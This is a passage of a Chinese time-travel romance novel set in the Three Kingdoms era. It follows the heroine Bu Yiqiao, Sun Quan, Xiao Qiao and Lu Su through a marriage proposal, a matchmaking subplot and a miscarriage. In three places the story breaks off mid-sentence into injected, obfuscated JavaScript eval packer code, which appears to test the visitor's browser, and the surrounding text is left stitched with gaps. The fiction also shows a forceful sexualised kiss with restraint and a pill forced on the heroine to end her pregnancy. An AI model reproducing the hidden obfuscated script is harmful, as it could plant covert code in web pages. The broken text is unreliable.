“时间回溯,你不该忘记我才对?” 小乔困惑地偏过头,“与你相识以来的种种,我都记得一清二楚。皖城之事,年前落水一事,你忘了?” “我没忘……我是震惊你居然没忘。” 小乔似是明白了她话中未尽之意,问道:“你又穿越了?不过……你脸色怎这般憔悴?可是病了?” 建安五年初,周瑜官拜中护军,领江夏太守,正与孙策一同筹划西征荆州,讨伐黄祖。孙策遇刺的噩耗传来时,周瑜正率军驻守巴丘。孙权继位后,他当即领兵赶回吴郡。 半年来,小乔始终随侍在侧,形影不离。即便没有步一乔搅乱时间,她们也确实许久未见了。 步一乔走到小乔身旁坐下,目光在她脸上流转。 “有个秘密……我想告诉你。”她轻声道。 “巧了,”小乔眼角弯起,“我也有话要同你说。” “你先说!”步一乔最爱先听别人的秘密。 “我……有身孕了。” 步一乔倏地睁大双眼:“真的?恭喜恭喜!那我……我可以当干妈吗?” “干妈?那是何物?” “不对,可有什么我能帮上忙的?” 小乔不禁轻笑,“都在吴郡,你若能常来陪我,便再好不过啦。” “反正就隔一堵墙,我天天来!”步一乔兴奋地凑近些,“周瑜知道了吗?” “昨夜才告诉他,他欢喜得差点把房顶都掀了。” “这么激动?”很难想象某位儒雅智慧的都督,激动到掀房顶是何模样。 步一乔尚在想象周瑜失态的模样,却见小乔轻轻拉过她的手,贴在自己尚未显怀的小腹上。 “夫君说,若是男孩,便教他骑马射箭,若是女孩……只盼这乱世,能早日平定。” 在原本的历史轨迹中,小乔与周瑜的子女并未留下太多记载,甚至……步一乔不敢再深想下去。后世余兄所说的意外,时间确定在建安五年冬,是否就与这个尚未出世的孩子有关? “一定会平安降生的!无论是男孩,还是女孩!” 小乔被她突如其来的郑重逗笑了,转而问道:“对了,你方才说要告诉我一个秘密?” 步一乔突然不知如何启齿。人家是名正言顺的夫妻,自己与孙权却连个名分都没有,非要说个关系,那便是没有关系。 小乔毕竟是封建时期的人,纵然有姐妹情谊在,也未必能理解这样不合礼数的事。步一乔犹豫片刻,终究将到了嘴边的话咽了回去。 “确实有个秘密,”她灵机一动,转而说道,“除了我们是穿越而来的,这世上还有别人。” “当真?!”小乔果然被吸引了注意。 于是步一乔将甘宁、苏飞的事稍作改编,连同自己好友失踪穿越一事,有所保留地告诉了小乔。 “那该如何是好?天下之大,一乔的两位好友会在哪里?” “如果按照我的错测,两人现在恐怕一个在袁绍家,一个在曹操家。” “啊?”小乔发出疑惑。 按照步一乔的猜测,甄霖穿越至此是顶替甄宓,曹姓男友顶替曹丕,如此一来,两人日后便能结为夫妻。 眼下建安五年,甄宓尚是袁绍次子袁熙之妻,曹丕不过年仅十三的少年。 “还是有问题,年龄对不上啊。莫非他俩当真不在这个时间,在……未来?” 步一乔突然担心起甄霖,担心她到了甄宓失宠,被曹丕欺负的年代。据《资治通鉴》记载,曹丕赐死甄宓时采用了“被发覆面,以糠塞口”的方式,意在让她在阴间也无脸见人、有口难言。 小乔见她又陷入自己的思索中识趣地不打断她,默默命人往火盆中添些木炭。 “建安五年甄宓刚嫁给袁熙一年,留在邺城照顾婆婆刘氏。邺城……” 小乔看着步一乔逐渐凝重的表情,心有所感,“你不会要去邺城吧?” “嗯,得去。至少确认是不是她。” 同为历史系出身的甄霖,若真穿越到这个时代,应当能很快适应。步一乔心想,自己只需确认她的安危。若甄霖愿意留下便罢,若想离开,再设法相助。 “北方战事频仍,你一个姑娘家独行太过危险。”小乔蹙眉拉住她的手,“以你的性子,我怕你连招呼都不打便悄悄走了。你若真打算如此,我这就去禀报仲谋。” “别!”步一乔急忙按住她,“若被他知晓,我就真的走不成了。如今他忙于稳定江东大局,我不能再给他添乱。” “既然明白,就安心留在吴郡。”小乔语气温柔却坚定,“若是担心,不如派人送信去邺城打听,总好过亲自涉险。” “也好……”步一乔若有所思,“就用只有我和霖霖能看懂的文字来写。” 她忽然觉得,多年苦学英语竟在此刻派上了用场。 不过送信的人选至关重要。最好能寻一位出身江北,与中原士族门阀有所往来的名士。 “小乔还记得张昭先生吗?” “当然。皖城时出手相助,父亲也受了他不少照顾。” “我想请他帮忙。” “张公为人刚正,若知晓此事,必会直言进谏。你当真想好了?” “可眼下我想不出比他更合适的人,且先试试吧。” * 次日,张昭府邸。 老臣捧着素帛对着光细看,花白的长眉渐渐蹙起:“姑娘这信,恐怕寄不出去。” “为何?” “这信上文字曲曲绕绕,非篆非隶,老臣闻所未闻。”张昭将素帛轻轻放在案几上,“眼下南北对峙,邺城更是袁本初腹地。姑娘如何证明,这信不是送往袁氏的密报?” 原来张昭并非不愿相助,而是不能确信她的立场。 “先生说得是。”她微微欠身,“确该先取信于先生,再谈相托之事。” 张昭沉吟片刻,“姑娘与仲谋,是何等关系?” “……旧识。” “何时何地的旧识?” “建安四年冬,皖城。” “伯符大举进攻皖城时,老臣也在军中,为何从未见过姑娘?” “毕竟是姑娘家,不常出门露面。” “那与仲谋,又如何相识?” 张昭的问话虽语气温和,却步步紧逼,这架势丝毫不输周瑜。只是他面容慈祥,步一乔并未升起面对周瑜时的那股火气。 “皖城时匆匆一面。后来我随家人颠沛流离,不幸走散,独自一人来到吴郡。前些日子在街上与主公恰好碰面。主公怜我无家可归,便将我收留府中暂住。” 张昭凝视着步一乔,良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“姑娘既有此心,老夫自当成全。”他郑重地收起素帛,“这信,必当寻得妥当之人送往邺城。” 步一乔深深一拜:“多谢先生。” 就在她起身欲离时,张昭忽然又道:“婚约一事,也请姑娘考虑一二。” 步一乔脚步一顿,稍稍回头,“抱歉,此事,不作考虑。” * 此事不出所料传到了孙权耳中。 月华如水,步一乔正欲躺下歇息,忽听门外传来一阵脚步声。未及起身,门已被推开。孙权站在门外,一身酒气在夜风中弥漫,素日清明的眼眸此刻蒙着一层薄雾,正深深望着她。 步一乔起身走去,见他这副模样不禁蹙眉:“你喝酒了?” “嗯。” “是碰上什么难事,愁成这样?” 没有醉意,是清明澄澈的眼眸。也对,三国酒量数一数二的人,自然不会醉。 孙权冷冷地看着步一乔,身形稳如泰山。 步一乔被盯得愈发不自在,愈发后怕。虽然清楚孙权不会对她做什么,内心还是免不了担心。 “说话呀。”她轻声道。 “你说。” “我说什么呀?” “说你心悦于我。说你此生只心悦我一人。” “……你到底怎么了?” “你说。我想听。”孙权逼近一步,温热的手掌捧住她的脸颊,“我只心悦你。我此生只心悦你一人。我只娶你。我只想娶你一人。” 步一乔偏过头:“你今日是怎么了……” “说。”他托起她的下巴转向自己,“我要听你亲口说。” “我——” “说你心里只有我一人。说你想嫁给我。” 步一乔垂下眼帘,闭口不语。 孙权凝视着她闪躲的眼眸,蹙眉更深:“为何?当初兄长说三书六礼娶你过门,你可是毫不犹豫答应的。” “那是因为——” 步一乔想说,那是因为你不是伯符。从前可以对他轻而易举说出口的话,对你,却难以启齿。 孙策的子嗣不会影响到后世的吴国后宫争战,可你是孙权,你的子嗣需要继承你的皇位。尽管,吴国的历史并没有延续太久。 步一乔突然后悔多了个孩子。孙权定然说到做到,只娶她为妻。可倘若肚子里的是女孩,如何继承帝位?莫非逼她生出男孩为止?! 她下意识地覆上小腹,细微的动作没能逃过孙权的眼睛。 “怎么了?身子不舒服?” 步一乔慌忙摇头,却被他揽住,手掌覆上她的腹部。 “你若是不愿意,这孩子不要便是。” “你——知不知道自己在说什么胡话!” “若这孩子让你如此忧心,不要也罢。” “这是你的骨肉!孙仲谋!” “正因是我的骨肉,才更不能让你为难。”孙权俯身拥住她的身子,“我见过后宫纷争,不想你也被卷入其中。” “后宫……”步一乔苦笑着将脸埋进他胸膛,“你若只娶我,哪来的后宫?” 孙权闻言轻笑,抚过她的发顶:“既然只有一人,你还担心什么?” 步一乔破涕为笑,“你真是一点不像史书说的那般稳重。吴夫人会生气的。” “只对你。”孙权轻吻她的额头,“所以现在,你愿意答应嫁给我了吗?” 步一乔望着他深邃的眼眸。 “我——” “抱歉。” 49. 今日无事 “抱歉。” 步一乔从孙权怀中退开,装模作样望了眼快落雪的夜空。 “你明日还要赶赴丹阳,早些歇息吧。” 她转身进屋,余光瞥见无动于衷的孙权,直到房门重新关上,他也不曾挪动半步。 步一乔背靠门扉,卸下强撑的从容。长叹溢出唇边,发软的双腿支撑不住,滑坐在冰冷的地面上。 “我是不是有病啊……” 心悦之人向自己求婚,我就这么回应他的? 庭中脚步声渐远,她不争气地红了眼眶。定是腹中这个小生命作祟,才让她变得如此脆弱不堪。她艰难起身,脚步虚浮地挪到床榻边,将自己埋进锦被之中。 今夜,注定要独守空房了。 被衾如浸寒潭,任她蜷缩许久,也捂不暖。 不知过了几个时辰,或许已是后半夜,一具带着夜露微凉与熟悉体温的身体悄然贴近。手臂从身后小心翼翼地探来,环住她冰冷的腰腹,宽阔的胸膛紧贴着她的脊背。 “孙权?你怎么——” “想起些事尚未交代,处置完便赶了回来。”孙权温热的手掌拢住她冰凉的指尖,“手脚这样凉,如何能安睡?” “……不能。没你,睡不着。”步一乔往后、往他怀里钻了钻,后背与前身紧贴在一起。 环在腰际的手臂收紧几分,温热的鼻息带来一声极轻的叹息。 “是我不好。是我着急了。不是有意恼你,别气坏身子。” 暖意从指间蔓延至心口。步一乔没有应声,却放松了身子。那些被寒夜浸透的委屈,悄然融化。寂静中,她听见彼此的呼吸,还有一声从她腹间传来的咕噜。 孙权低笑出声,“她也恼我了。” 步一乔也忍不住弯了唇角,抬手轻覆在他的手背上。 “是饿了的。晚膳用得少……心里又堵着。” “现在可还堵着?” 她没有立刻回答,在他怀里转过身来。黑暗中,她看不清他的面容,却能清晰地感受到那道专注的目光。 “……好些了。”她将额头轻轻抵上他的下巴,“你来了,便好些了。” 他不再多言,只将被子仔细掖好,把她更为妥帖地拥入怀中。 “睡吧,我在这儿。” * 眼瞅着身子没什么大碍,步一乔打算去街市上转转,给小乔挑些赠礼。路过一个看诊摊位时,却突然被叫住了。 “小姑娘?” “小姑娘?”步一乔疑惑地回头。 约莫三十岁的年轻大夫朝她招手,“对,就你,来来来!” 步一乔环顾四周,确认他叫的是自己后,迟疑地走到摊位前坐下。 “去医馆看过大夫吗?”他问。 “当然看过。” “太好了!”大夫眼睛一亮,连忙起身示意,“来,你坐这儿。” “嗯?”步一乔懵懵地照做,看着他满脸高兴地站到一旁。 “你先帮我坐一会儿,我去去就回。” “啊?不是……我坐这儿干什么呀?” 他捂着肚子,表情痛苦:“这会儿估计也不会有客人,你先替我照应着。我实在憋不住了,马上回来!” “啊?” 人跑远了。看来是真急了。 步一乔看了眼冷清的街道,估摸着也不会有人光顾,便也安心坐了下来。 谁知不过一刻钟,一位衣着朴素的姑娘怯生生地走了过来。 步一乔正打量着摊位上摆放的药材,见有客人登门,立即坐直身子,摆出认真的神态。暗自庆幸来的是位姑娘,女儿家的事,她多少还算了解。 “大夫,能帮我瞧瞧身子吗?最近茶饭不思,恶心得厉害,可又怕汤药苦涩,这可如何是好?” 步一乔仔细端详她的面色,轻声道:“是不是有喜了?” 姑娘顿时慌了,“啊?可、可我尚未成亲啊……” “没成亲也能怀孕呀。最近可曾与什么人同房?” “不、不曾……” “你说谎了哦。” “大夫连这也看得出来?” “眼神躲闪,坐立不安,这都是典型的心虚表现嘛。”步一乔压低声音,“放心,我不会说出去的。你特地找个女大夫,想必也是有什么难处吧?” 姑娘咬了咬唇,终于低声道:“是……我与鲁公子情投意合,可父亲执意不肯答应,非要我嫁给村里的陈二。” 故事就这么毫无征兆地开始了。步一乔平生最爱听八卦,古人的恩怨情仇比现代剧还精彩,这怎能错过? 眼前的姑娘名叫阮素心,家住城西村。平日靠做女工换钱养家,而她父亲是个不成器的屠夫,挣的钱还不够自己花销。 因常去鲁府送缝补好的衣裳,阮素心与鲁公子一来二往,互生情愫。她自知身份悬殊,从不敢奢望能嫁入鲁府。 恰巧村里的陈家走南闯北拉送货物,算得上有钱,阮父便盘算着将女儿嫁给陈家老二,好捞上一大笔聘礼。 “于是上月,我们便在城北郊的树林里私定终身……没想到就……” “鲁公子厉害啊!一发即中!” 话一出口,步一乔立即掩住嘴,歉然地看向对方,问道:“那素心姑娘是打算滑胎,还是生下来?若是生米煮成熟饭,或许能逼你父亲同意?” 而且,鲁氏?若是前段日子从曲阿刚搬到吴郡的鲁肃,那可是攀上金龟婿,一辈子花不完的钱啊! 阮素心叹息道:“可如此一来,鲁公子的名声就都毁了……” “若是能请到郡里德高望重的人,去你家劝说一番呢?你爹会不会松口?” “我也不知道……” “那就试试看吧。至于请谁,我来想办法。明日此时,姑娘带上鲁公子,还来这里找我。” 姑娘眼中泛起些许泪光,朝步一乔深深一揖。 “素心在此先谢过姑娘!” * 第二天。 “市集?你带我来此做什么?” “帮个忙,顺便给你介绍个人。今日难得休沐,你也趁此散散心。” 步一乔拉着他的手臂撒娇似的晃了晃。孙权连日忙于军务,十九岁的年纪,眉宇间却凝着九十岁般的沉重与疲态。经她这般软语相求,神色缓和下来。 “确实许久未曾闲下来了。” “身子要紧啊,主公。” 孙权轻笑,任由她拉着前行,穿行于街市之间。 远远便看见阮素心已等在诊摊旁,她身侧站着一位年轻男子。 男子身姿挺拔,气度沉静,正侧首听阮素心说话,神色专注。 “素心姑娘。”步一乔唤了一声。 两人闻声转头。阮素心面露欣喜,男子抬眼望来,两人目光先是掠过步一乔,随即落在孙权身上,眼神一凝。 “孙将军?!” 阮素心怎么也没想到,昨日萍水相逢的姑娘,此刻竟将权倾江东的孙将军牵到她面前。 她慌忙敛衽垂首,就要行大礼,“民女……民女拜见孙将军!” 孙权抬手虚扶,目光却落在她身旁男子身上。 “可是都尉举荐的子敬兄?” “临淮鲁肃,久仰孙将军大名。周都尉再三叮嘱,明日当往府上拜会,不想今日在此巧遇。” 孙权闻言朗笑:“都督推举之人,必是俊杰。果然天命知晓你我二人有缘,要我们今日便相逢。” 鲁肃微微欠身:“将军礼贤下士,果然名不虚传。” 两人相视一笑,颇有相见恨晚之感。 “听闻子敬昔日散尽家财,赈济乡里,颇有古侠士之风。” “乱世之中,力所能及罢了。”鲁肃从容回礼,“倒是将军年少主事,安定江东,才是真正的难得。” 步一乔和阮素心站在一旁,看着两人言谈甚欢的模样,有种置身局外的微妙。 她悄悄观察着孙权,发现他疲惫神色竟一扫而空,重新焕发出年轻霸主的光彩。原本为说亲而来的计划,竟无意中促成了这场历史性的会面。 孙权和鲁肃……榻上策……若按两人的话,明日是三人详谈之日,意思是……明天孙权和鲁肃,要在床上喝酒畅谈未来?! 阮素心轻轻碰了碰她的衣袖,小声问道:“姑娘与孙将军莫非是?可江东人尽皆知,孙将军立志成就霸业,终生不娶啊?” 步一乔闻言,差点被自己的口水呛到。 “谣言已经传到这个地步了吗?”她无奈扶额,随即正色道,“今日是为阮姑娘的婚事而来,事不成,绝不善罢甘休!” 她目光望向孙权与鲁肃交谈的方向,勾起一抹狡黠的笑。 “我以孙将军的名义保证!” 步一乔拉着阮素心朝孙权和鲁肃走去。 “二位壮士闲聊地如何?” “与将军相谈甚欢,一见如故。” 步一乔将阮素心轻轻往前一推,对鲁肃笑道:“那也该谈今日的正事啦。如何,鲁公子,婚期定在何日?” 单刀直入的问法,让鲁肃顿时愣住。阮素心更是羞得满脸通红,下意识地往步一乔身后躲了躲。 “步姑娘!怎可如此直接……” “素心姑娘难道不想嫁给他吗?”步一乔转头看向鲁肃,“鲁公子你难道不想娶素心姑娘吗!” “我想!可是……” “想就好!”步一乔立即打断,转身对孙权装模作样行了个礼,“将军您看,两情相悦,天作之合。不如就请将军做主,成全这段姻缘?” “我么?”孙权浅笑着看向鲁肃,“子敬若是愿意,我愿为你二人主婚。” 鲁肃与阮素心对视一眼,见她眼中满是期待,终于郑重行礼:“肃,谨遵将军安排。” “可是父亲那边……”阮素心最担心的,还是她那劝不动的爹。 “我去说说!交给我吧。” 步一乔信誓旦旦,一旁的孙权眉头微蹙,伸手将她拉回身侧,低声道:“这位姑娘何时成了替人牵线的月老?” “帮人帮到底嘛。再说,眼下要帮的可是你吴国重中之重的鲁子敬啊,换做是你,也不会坐视不管吧。” 孙权轻叹,牵紧她的手,“绝不可单独行动,擅自走远。” 人多眼杂,步一乔担心又出什么流言蜚语,试图挣了挣,没成功,只好凑近些,拿出架势,小声抗议:“现在我是姐姐!大你整整两岁呢!弟弟能不能给姐姐留点面子。” 孙权微微俯身,凑近小声道:“在家可以听姐姐的。在外么……得听主公的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“按照村里的规矩,好生安葬。”孙权又看向鲁肃,“子敬与阮姑娘相识,后续事宜就劳烦先生代为处置。若有需要相助之处,尽管开口。” 鲁肃郑重还礼:“肃定当妥善处理,多谢将军体恤。” “明日之约,可待先生处理妥当后再议不迟。” “不!”鲁肃断然回答,拱手抱拳,目光灼灼迎上孙权的视线,“得遇将军,方知何为明主!肃心中大计已酝酿多时,唯愿即刻献与将军,助将军廓清天下!明日,肃定准时赴约。” “好!我便在府中,静候子敬。” 此后,鲁肃拜见孙权,两人“合榻对饮”,席间,鲁肃献上了著名的《榻上策》,为孙权规划了帝王之业的蓝图。 * “张昭、周瑜、鲁肃,按照顺序,下一个得是诸葛瑾?” 重要的男人们依次登场,身边却不见一位女眷。正史记载,建安五年冬,孙权身边至少已有谢夫人、徐夫人与步夫人。也难怪吴夫人忧心,流言四起,连张昭都开始过问他的婚事。放眼整个东汉,孙将军的婚事已是严重晚婚晚育了。 孙府上下尚不知情,孙权每夜皆在步一乔房中歇息。只因晨昏皆不见人影,众人只当勤勉的二公子忙于军务,不敢打扰。 除了她。 “嫂嫂,你何时才与我二哥成婚呀?” 孙尚香托着腮坐在步一乔身旁,对她笔下写些什么毫无兴趣,只顾纳闷:两人既已如胶似漆,为何迟迟不结连理? “你希望我嫁给他?” “如此我便可光明正大喊你‘嫂嫂’了,哪像现在,只敢私下里过过瘾。” 步一乔闻言轻笑,“那尚香呢?可曾想过未来的夫君该是什么模样?” 九岁的孙尚香陷入沉思,“至少……得是个受万众敬仰的大英雄吧!德才兼备,绝不能输给我兄长和二哥!” “嗯~形容得非常贴切。尤其是,德才兼备。” 刘备,字玄德,德才兼备。 “嫂嫂呢?”孙尚香追问,“嫁给二哥,成为将军夫人,所到之处万人跪拜,岂不威风?” “那般场面,想想都觉得别扭。”步一乔折好写满字的布帛,纳入锦囊,“我暂时,不想与你二哥成婚。” “暂时是多久?” “大概……他这一辈子吧。” 步一乔抬眼看向敞开的门扉,不料与门口之人对上眼。孙权不知何时静立在那里,面上没什么表情,只定定望着步一乔。 孙尚香反应极快,猛地跳起身,干笑两声:“二、二哥!你、你何时来的?我……我想起来母亲方才唤我过去习绣!我先走了!” 她话未说完,几乎是贴着门边,头也不回地溜了出去,还“贴心”地顺手将房门虚掩上。 房内只剩下两人。 步一乔慢条斯理地收好锦囊,面上不动声色,坦然回望着他。 孙权终于动了。没有说话,只是缓步走上前,步伐沉稳,无声地停在她面前。 “为何?” “我原以为你不愿,是因眼下又要是去办。可你却说……是一辈子。” 步一乔避开他的视线,起身道:“对,是一辈子。我,没法嫁给你。” 50. 恹恹情谈 孙权没有立刻接话,只是将目光落在她紧握锦囊的手上。 “是无法嫁我,还是不愿嫁我?” 步一乔转过身,试图从他那张过于平静的脸上找出些许情绪,却一无所获。 到底是生气了,还是伤心了?好歹暴露一点情绪,让人揣摩一下啊。 “有区别吗?结果都是一样。” “于我而言,有。” 孙权上前一步,两人距离倏然拉近,步一乔甚至能闻到他身上清冷的墨香。 想到是自己喜欢的味道,意识竟在此时分心,步一乔顿觉底气溃散,仿佛成了个立场摇摆、见色起意的风流之徒。 “你别离我太近……” “为何?” “没、没有为何。” 言外之意,眼下可是孕期,怕自己忍不住做出什么伤天害理的事情。 片刻的晃神未能逃过他的眼睛。孙权眼底掠过怒意,捏住步一乔的下颌,劈头盖脸吻了上去。 他的舌强硬地撬开她的齿关,长驱直入搅乱一切。他的手掌稳稳托住她的后颈,不容她有任何退避。 步一乔娇弱地闷哼一声,手抵上他坚实的胸膛,试图推开,双手却被他抓住手腕反剪到身后。他的另一只手仍扣着她的后颈,指节陷入她散落的发丝间,逐渐收紧,力度适中地往后带。 她被迫仰起头,后颈被压迫得阵阵发麻,晕眩感如潮水般涌来。 “孙——孙——” 破碎的音节刚从唇缝间溢出,就被他更用力的亲吻堵了回去。 在逐渐模糊的意识里,她忽然感觉到宽大的手掌落在身后,抓住她的臀部狠狠一掐。 一下吃痛,步一乔不禁咬了一口,正好咬在孙权的舌上,疯了般的唇舌终于离开。 孙权咂了咂舌,尝了尝口中的血,抬起冰冷的眸子看向急促喘息、满面怒容的步一乔。 “好利的牙。原来不只是言语会伤人,说些口是心非的话。” “你……你活该!谁让你……” “让我什么?”他打断她,扣着她的腰拉向自己,“让我证明,你的身体远比你的嘴诚实?” 他的目光落在她微微肿起的唇瓣上,意有所指。 “所以,告诉我实话,到底为什么?” 孙权拇指擦过步一乔的下唇,慢条斯理。气呼呼的人紧抿唇,不肯善罢甘休的拇指强硬地掰开她的唇瓣探入其中,从第一颗下牙,数到最后一颗大牙。 步一乔不敢说话,可每一次吞咽,舌头都会有意无意地触碰到他的拇指,意识灼烧得厉害,感觉快晕过去。 “啊呜咦(拿出去)……” 含糊的抗议只换来孙权一声极轻的、极尽宠溺的低笑。他的拇指压住她无处可躲的软舌,指腹甚至恶意地、缓慢地碾磨过敏感的舌面,感受细微、无法自控的战栗。 “不说?那我们就换个方式……慢慢聊。” 他的指节弯曲,在她湿热的口腔里形成一种更深的禁锢。步一乔的眼眶涌出泪水,她抬起手,无力地推拒着他坚实的手臂。 “仲谋……仲谋……” “想说我在欺负你吗?” “嗯……我……不行了……” 就在她觉得自己即将彻底崩溃,意识在羞耻与某种陌生的快感边缘摇摇欲坠时,孙权却倏然抽出了手指,带出一缕暧昧的银丝。 他看着指尖的水光,又看向她狼狈不堪、泪眼朦胧的模样,眼神幽暗。 “步一乔,告诉我,我要听实话。” “告诉……告诉你什么……” “为何不肯嫁给我?” “因为……因为你才十八,太小……” “生辰已过。我如今是十九。再说这算什么借口?换一个。” “因为……” 因为觉得对不起伯符,尽管眼下走的历史中,孙策与大乔顺利成婚,大乔在夫君离世后,选择回到皖城陪在桥公身边。 建安五年正月十五,那是步一乔人生第一次成亲,喝过了交杯酒,也算是夫妻一场,她不想这么快就另嫁他人。 “因为兄长,对吗?” 他看她的眼神太过深邃,早已窥破她内心。 “……嗯。” 孙权眸色沉静,松开钳制。干净的一只手探入她微乱的衣襟,步一乔下意识瑟缩,却只见他取出自己怀中的绣帕。 先是细致地拭去她唇周的水光,力道不轻不重,指背故意擦过她发烫的脸颊。帕子顺着下颌线往下,擦过她纤细的脖颈,那里留着方才掐着她后颈时的红痕。 “我知道了。”他沉声道,“疼吗?” 步一乔摇头。 “应该……挺疼的。”孙权的指腹虚虚拂过她的下唇,“嘴唇都破了。” “嗯……疼。”步一乔委屈地低声承认,“以为你又发疯了……” “你有身孕在,万事小心。” “……没有的话,你会做什么?” “你知道的。” 不算太久远的回忆同时在两人心头勾起步一乔知道,孙权这次是真的动怒了。幸而还有腹中的孩子,也幸而他如今已是江东之主,早已学会收敛脾性。 该做点什么吗?可这般情形下,又能做什么? 她小心翼翼地伸出手,食指轻轻勾住他的食指。见他并未躲开,便鼓起勇气将额头抵上他的胸膛。 “我步一乔此生有两件事不会说谎。” “……是什么?” “对学术的认真,以及——”她仰头抬眸,“对你的感情。” “是么。” 淡漠的回答,步一乔没料到他的怒意已深至此。 恰在此时,门外传来侍卫急促的禀报,周瑜在议事厅等候,需他即刻赶往。 “军务紧急,你好生休息。”他转身离去,没再回头。 步一乔望着他离开的背影,抬手轻按在心口,那里空落落的。 不止因为孙策,还因为她逐渐失掉的自信。害怕嫁给孙权,历史又会得不可收拾的地步。她怕了。这辈子不敢,可若在另一个时空,她定会毫不犹豫答应。 在案几边独坐了许久,房中未点灯烛,身心俱疲之下,她终是伏在冰凉的案几上昏沉睡去。 不知过了多久,一阵叩门声将她惊醒。 “谁?”她直起身,睡意未消。 全身包裹在玄色之中的男人静立在门外。夜行衣将他从头到脚遮得严实,唯有一双沉静的眼睛在黑暗中注视着她。 “又是你。余兄。” 步一乔松了口气,特意望了眼议事厅的方向,此时孙权与周瑜等人正在厅内商讨攻打江夏。 余兄跨步入内,反手合上门,径直走到她跟前,从怀中取出一粒药丸。 “吞下去。” “什么药?” “我不想伤害你,吞下去,我就走。” 步一乔心下不安,退后半步,“我不吃。” 男人逼近,左手扣住她的肩,右手粗暴地捏住她的下颌,迫使她张口。步一乔拼命挣扎,疯狂捶打他,却撼动不了分毫。他毫不留情地将药丸塞入她口中,又抄起案上凉茶,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙尚香跪倒在地,试图扶起步一乔,却摸到一手冰凉。步一乔脸色惨白,双眼紧闭,对她的呼喊毫无反应。 “怎么办!怎么办!二哥!二哥!!!” 孙尚香何曾见过这等场面,顿时慌了神。冲出厢房,连鞋跑掉了一只都浑然不觉。 孙权正与周瑜在议事厅内对着江夏地图部署军务,门外突然传来一阵急促的脚步声,伴随着侍卫焦急的阻拦。 “小姐!主公正在商议军机要事,您不能进去!” “什么事有人命关天的事重要!给我滚开!!” 孙尚香一把推开阻拦的侍卫,撞开厅门。 “二哥!嫂嫂她流了好多血!倒在地上一动不动!我叫不醒她!怎么办!” 孙尚香话未说完,孙权已经大步冲出议事厅。 周瑜当即下令:“传医官!封锁消息!” 孙权一路疾行,侍卫们纷纷避让。他冲进步一乔房间,浓重的血腥味扑面而来。 步一乔蜷缩在地,身下是一大滩深色血迹。脸上毫无血色,嘴唇发青,姿势还保持着向前爬行的姿势。 孙权单膝跪地,伸手探向她的颈侧。触手一片冰凉,但还有微弱的脉搏。他立即将人扶起抱在怀中,她的头无力地垂在他臂弯里。 “一乔?一乔!” 孙权低头看着怀中人,扯下自己的外袍裹住她冰冷的身子。 “撑住。你不能有事啊。” 51. 道阻且长 吴夫人在侍女的搀扶下缓步来到厢房。她挥手屏退左右,独自走到榻前。 步一乔维持在一动不动的姿势靠在软枕上,连吴夫人走近都未曾察觉。 “孩子,身上可还疼得厉害?” 见步一乔没有反应,吴夫人直接坐在榻边,伸手探向她的额头。 “烧算退了些,真是可把我吓坏了。”她收回手,略松了口气,“还有仲谋,你晕厥时疼得直发抖,那孩子急得脸色发白,我瞧他差点就要跟着晕过去。” 步一乔的眼珠子动了一下。 “孙权……” “军务紧急,很快就回来。”吴夫人俯身,替她掖紧被角,“我知道你心里苦。这孩子许是太想念他亲爹,急着去寻了呢,急着尽孝心呢。” 步一乔当初留在孙府的托词,是与亲人逃难时失散、生死未卜。孙家见她孤苦无依,这才收留。谁知住下不久便出了这样的事,吴夫人自然以为步一乔腹中的孩子,是她那“失踪的前夫”所留。 听了这番话,步一乔并未多言,目光仍不由自主地飘向门口,盼着那个想见的身影。 “孙权……” “你既进了孙家的门,就是孙家的人。好好将养身子,其余的事,自有我为你做主。”吴夫人轻轻握住步一乔的手,“等抓住了那贼人,我定亲手剥了他的皮!” 门外便传来脚步声。帘栊一动,孙权高大的身影出现在门前,风尘仆仆。他侧身让跟进来的老大夫上前诊脉,自己则站在原地,目光落在步一乔苍白的脸上。 步一乔原本黯淡的眸子倏地点亮。 吴夫人将一切尽收眼底,嘴角弯起。她不动声色地站起身,拍了拍步一乔的手背。 “瞧瞧,说着说着不就回来了?我去看看灶上给你炖的补药好了不曾。” 说罢,吴夫人朝孙权递去一个意味深长的眼神,便带着一身从容,悄无声息地退出了厢房。 老大夫在榻前坐下,三指轻按在步一乔纤细的手腕上。孙权未走近,但目光始终不离步一乔。 “姑娘可还觉得哪里疼痛难忍?” “没……” 老大夫收手诊脉完毕,面色凝重地请孙权移步廊下。 “主公,步姑娘是服了药性酷烈的滑胎之物,以致血崩。腹中胎儿……已是无力回天了。” 孙权负手而立,身形在廊下极为稳重丝毫不乱,唯有手紧握成拳,青筋暴突。 “胎儿,有多久了?” “从脉象推断,约莫月余。只是药性酷烈,不仅伤了胎儿,更重创姑娘胞宫,今后……只怕难再受孕。” 月余。孙权眼前闪过与步一乔“真正”相处时间的月余前,是江夏客栈那夜吗? “全力医治,用最好的药,一切以保住她性命为主。” “是。” 待大夫离去,孙权转身步入厢房。步一乔靠坐榻上,面无血色,失掉血色的脸苍白憔悴,两眼无光地盯着上虚无处。 方才门外的话,虽听得不够真切,不过重要的字眼倒是听清了。 “一乔。” 她眼皮都没抬一下,只是将脸微微转向内侧。 “走开,我不想看到你。” 孙权走到她身边坐下,端起药,将勺子递到她嘴边。 “先把药喝了。” “我不想跟你说话,也不想看到你,走。” 孙权动作顿住,看着她,而后将汤匙慢慢放回碗中,把药碗轻轻搁在一旁的矮案上。 “巳时会启程前往会稽,半月方归。府中上下都已打点妥当,若有需要,尽管吩咐。” 步一乔依旧沉默,仿佛没有听见。 